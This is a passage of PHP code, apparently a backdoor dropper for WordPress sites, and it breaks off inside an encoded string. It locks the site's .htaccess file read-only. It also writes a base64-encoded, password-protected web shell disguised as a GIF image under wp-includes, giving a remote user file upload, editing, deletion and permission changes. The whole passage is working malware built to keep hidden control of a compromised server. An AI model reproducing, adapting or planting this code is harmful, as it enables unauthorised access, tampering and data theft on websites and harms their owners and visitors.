file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaG